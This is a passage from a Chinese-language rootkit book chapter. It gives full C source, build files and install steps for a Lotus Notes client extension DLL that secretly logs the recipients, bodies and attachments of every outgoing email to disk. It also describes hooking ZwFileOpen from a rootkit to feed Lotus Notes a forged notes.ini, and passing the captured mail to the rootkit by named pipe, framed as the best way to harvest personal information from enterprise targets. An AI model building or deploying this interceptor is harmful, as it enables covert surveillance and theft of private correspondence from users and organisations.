void ParseRecipientList( char* recipients, char* buffer, unsigned int* pIndex )

{

 int length;

 length = strlen( recipients );

 memcpy( buffer + *pIndex, recipients, length );

 *(buffer + *pIndex + length) = ',';

 length++;

 *pIndex += length;

}

BOOL SaveRecipients( HANDLE hNote )

{

 WORD stringLength;

 char string[MAXSPRINTF+1];

 char addresses[(MAXSPRINTF*3)+3];

 unsigned int addressesIndex = 0;

 MailGetMessageItem (hNote, MAIL_BLINDCOPYTO_ITEM_NUM, string, MAXSPRINTF,

&stringLength);

 if( strlen( string ) )

  ParseRecipientList( string, addresses, &addressesIndex );

 MailGetMessageItem (hNote, MAIL_COPYTO_ITEM_NUM, string, MAXSPRINTF,

&stringLength);

 if( strlen( string ) )

  ParseRecipientList( string, addresses, &addressesIndex );

 MailGetMessageItem (hNote, MAIL_SENDTO_ITEM_NUM, string, MAXSPRINTF,

&stringLength);

 if( strlen( string ) )

  ParseRecipientList( string, addresses, &addressesIndex );

 if( addressesIndex > 1 )

 {

  // Overwrite last comma with string terminator

  addresses[addressesIndex-1] = 0;

  // Log destination addresses

  LogContent( addresses, ADDRESS_STRING_CONTENT );

  return TRUE;

 }

 return FALSE;

}

// Register for EM_MAILSENDNOTE - EM_REG_BEFORE events

STATUS RegisterEntry()

{

 STATUS error = NOERROR;

 error = EMRegister(EM_MAILSENDNOTE,

  EM_REG_BEFORE,

  (EMHANDLER)filterProcedure,

  recursionId,

  &hHandler);

 return(error);

}

// Deregister filterProcedure

STATUS DeregisterEntry()

{

 STATUS error = NOERROR;

 error = EMDeregister(hHandler);

 return(error);

}

// This routine is defined by Lotus Notes

STATUS LNPUBLIC DLL_EXPORT MainEntryPoint( void )

{

 STATUS error;

 // Next get a recursion ID

 error = EMCreateRecursionID( &recursionId );

 if ( !error )

  error = RegisterEntry();

 return( error );

}

// Called when Lotus Notes client is about to send.

// Return FALSE to block else return ERR_EM_CONTINUE

STATUS LNPUBLIC OnSendMail( EMRECORD* pExRecord )

{

 HANDLE hNote;

 void   *pViewDesc;

 WORD   Flags;

 BOOL   *pModified;

 VARARG_PTR ap;

 // get the arguments

 ap = pExRecord->Ap;

 hNote = VARARG_GET (ap, HANDLE);

 pViewDesc = VARARG_GET (ap, VOID *);

 Flags = VARARG_GET (ap, WORD);

 pModified = VARARG_GET (ap, BOOL *);

 // check for record error

 if (pExRecord->Status != NOERROR)

return( ERR_EM_CONTINUE );

 // filter mail

if( !SaveRecipients( hNote ) )

 {

  SaveBody( hNote );

  SaveAttachments( hNote );

 }

 return( ERR_EM_CONTINUE );

}

// Standard windows NT DLL entrypoint

BOOL WINAPI DllMain( HINSTANCE hInstance, DWORD fdwReason, LPVOID lpReserved )

{

 switch( fdwReason )

 {

  case DLL_PROCESS_ATTACH:

   // Initialize mail intercept procedure

   filterProcedure = (EMHANDLER)MakeProcInstance(

    (FARPROC)OnSendMail, hInstance);

   break;

  case DLL_PROCESS_DETACH:

   // Free mail intercept procedure

   FreeProcInstance( filterProcedure );

   DeregisterEntry();

  break;

 }

 return( TRUE );

 UNREFERENCED_PARAMETER( lpReserved );

}

在LotusExtension.c文件实现的10个函数中，只有OnSendMain 里的过滤逻辑需要讲解。这个函数只是在消息没有目的地址的时候保存电子邮件的正文和附件。这是因为Lotus Notes消息系统将内部邮件与外部邮件分开了。因此，如果你的电子邮件既有内部Domino 特定目的地址(例如 JohnDoe/lotus)，又有外部因特网目的地址(例如  jdoe@lotus.com)，这就会产生两个事件：一个有正文，附件和地址(因特网目的地址)，另一个有正文，附件和地址(外部目的地址)。这种消息协议需要客户端扩展来跳过那些有地址的消息的正文和附件，加为它们被已经记录过了。

LotusExtension.def

文件LotusExtension.def 简单地定义了LotusExtension.dll 的导出函数。

    LIBRARY LOTUSEXTENSION

    EXPORTS

         MainEntryPoint @1

         OnSendMail @2

LotusExtension.mak

    文件LotusExtension.dll 指定了怎么来自成LotusExtension.dll：
#

#  makefile for LotusExtension.dll

#  Windows 32-bit version using Microsoft Visual C++ .NET compiler and linker.

#

# Standard Windows 32-bit make definitions

!include <ntwin32.mak>

cpuflags = -Zp

outfilename = LotusExtension

defname = LotusExtension

all : $(outfilename).dll

$(outfilename).dll : LotusExtension.obj $(defname).def

 $(link) $(linkdebug) \

  -dll -def:$(defname).def \

  -entry:_DllMainCRTStartup$(DLLENTRY) \

  -out:$(outfilename).dll \

  LotusExtension.obj \

  $(guilibs) .\lib\notes.lib

LotusExtension.obj : LotusExtension.h LotusExtension.c

 $(cc) /I .\include $(cdebug) $(cflags) $(cpuflags) /optimize -DNT $(cvars)

LotusExtension.c

    这个makefile原来是用在Visual Studio 6.0编译环境下的，所以如果你使用这个文件在新的编译器里编译你可能会看到有一些警告信息。特别是在用Visual Studio 8.0来编译LotusExtension.c文件的时候，-MLd编译选项和不提倡使用的strcpy和fopen函数会产生一些警告，在使用一些比较新的开发环境的时候，因为这些警告可以安全地忽略掉，而工程文件会自动转换，所以我们并没有为了适应新的开发环境而去修改这个项目。

 readme.txt

文件 readme.txt解释了怎么生成和部署LotusExtension.dll。如果的你的生成环境 (build environment)没有预先设置过，在执行 nmake之前你要先执行一下vcvars32.bat（或者一个等效的预生成设置文件）。

PROGRAM - LotusExtension.dll - Lotus Notes Mail Extension Manager

To build: enter "nmake LotusExtension.mak" from a command prompt.

FILES

*LotusExtension.c - Main C source code file for Lotus Extension Manager

*LotusExtension.h - Constants and function prototypes.

*LotusExtension.mak - Make file for Windows 32-bit.

*LotusExtension.def - Module definition file for Windows 32-bit.

*readme.txt - This file.

To install and run this program:

1. Exit Notes if it is running.

2. Copy LotusExtension.dll to the Notes program directory.

        (usually C:\Program Files\Lotus\Notes)

3. Edit the notes.ini file.

        If an EXTMGR_ADDINS entry does not exist, add

        EXTMGR_ADDINS=LotusExtension.dll

        If an EXTMGR_ADDINS entry already exists, add

        ",LotusExtension.dll" to the end of the existing line.

        Save the modified notes.ini file.

4. Launch Notes.

5. Lotus email will now be filtered through LotusExtension.dll

安装一个Lotus Notes 客户端过滤器

上一节讲的readme.txt文件描述了手工一步一步地插入一个Lotus Notes客户端扩展的过程。然而在正常情况下,这个过程是可以自动完成的。

要自动完成这个安装过程，安装程序需要先找到Lotus Notes的安装目录。我们使用了默认目录C:\Program Files\Lotus\Notes，但Lotus Notes并没有安装到这个默认的位置，好在Lotus Notes安装时会创建一个注册表项来指出安装目录，这个注册表项是 

HKEY_LOCAL_MACHINE\SOFTWARE\Lotus\ Notes\Path 

使用此注册表值找到notes.ini文件，需要一个LotusExtension.dll进入EXTMGR_ADDINS段。
不幸的是，这并不是指定 notes.ini文件的惟一方式。Lotus Notes还可以用一个指定了 notes.ini文件位置的参数来进行启动，那么上面说的安装方法就不可行了。

然而，如果你是结合rootkit来过滤电子邮件的话，可以通过挂钩 ZwFileOpen函数来检查目标文件名是不是 notes.ini。如果是，就可以欺骗Lotus Notes来使用一个指定的经过精心构造的notes.ini文件。实际过程中要在钩子函数里创建一个notes.ini的临时复本文件。然后修改这个临时文件使它包含需要的EXTMGR_ADDINS 段，然后关闭源notes.ini文件并把临时文件的句柄传递调用程序。
测试 Lotus Notes 客户端扩展

    一旦LotusExtension.dll 已经复制到了Lotus\Notes 目录并且 notes.ini文件已经把库文件声明为一个客户端扩展，你就可以启动 Lotus Notes来开始发送电子邮件了，每封电子邮件消息都会在 C:\LN_LOG里产生一些条目信息。下面是一个例子：

*BODY: test1

*       ATTACHMENT: This is a test attachment file

*       BODY: test 2

*       ATTACHMENT: This is a test attachment file

*       ATTACHMENT: This is another test attachment file

*       DESTINATION(S): x@y.com

*       BODY: test3

*       ATTACHMENT: This is a test attachment file

*       DESTINATION(S): x@y.com,CN=john doe/O=lotus@dominoServer

总结

本章所提供的例子并没有直接修改本书中的生成的rootkit。一个客户端扩展通常是把电子邮件通信记录到磁盘里供rootkit来检索，所以rootkit和电子邮件客户端扩展之间并没有依赖的关系，这就使得一个电子邮件客户端扩展可以自动地完成它的工作。

命名管道是使rootkit对脱钩活动(如电子邮件过滤)进行监视的一个非常好的方法。如果你的电子邮件客户端扩展把信息保存到一个文件里，这个文件的位置可以用一个命名管道传递给rootkit，然后rootkit就可以处理这个文件的内容。

把已过滤到的电子邮件数据存放到一个目录缓冲区里也是一个传输电子邮件通信的非常好的方法。rootkit可以定期检查一个指定目录，如果发现有文件就处理这些文件的内容。然而，这种机制需要添加同步机制来保证读和写之间互不干扰。虽然电子邮件客户端扩展和企业基础设施相比的价值比较小，但是要从企业环境中收集个人信息就没有比这更好的方法了，如果你的目标是企业环境，那么很有可能它的电子邮件系统会实现客户端扩展功能的某些形式。本章已经提供了最流行的两种解决方案：

    Microsoft Exchange Server for Outlook

    Domino Server for Lotus Notes

    下一章会介绍基本的rootkit安装技术。

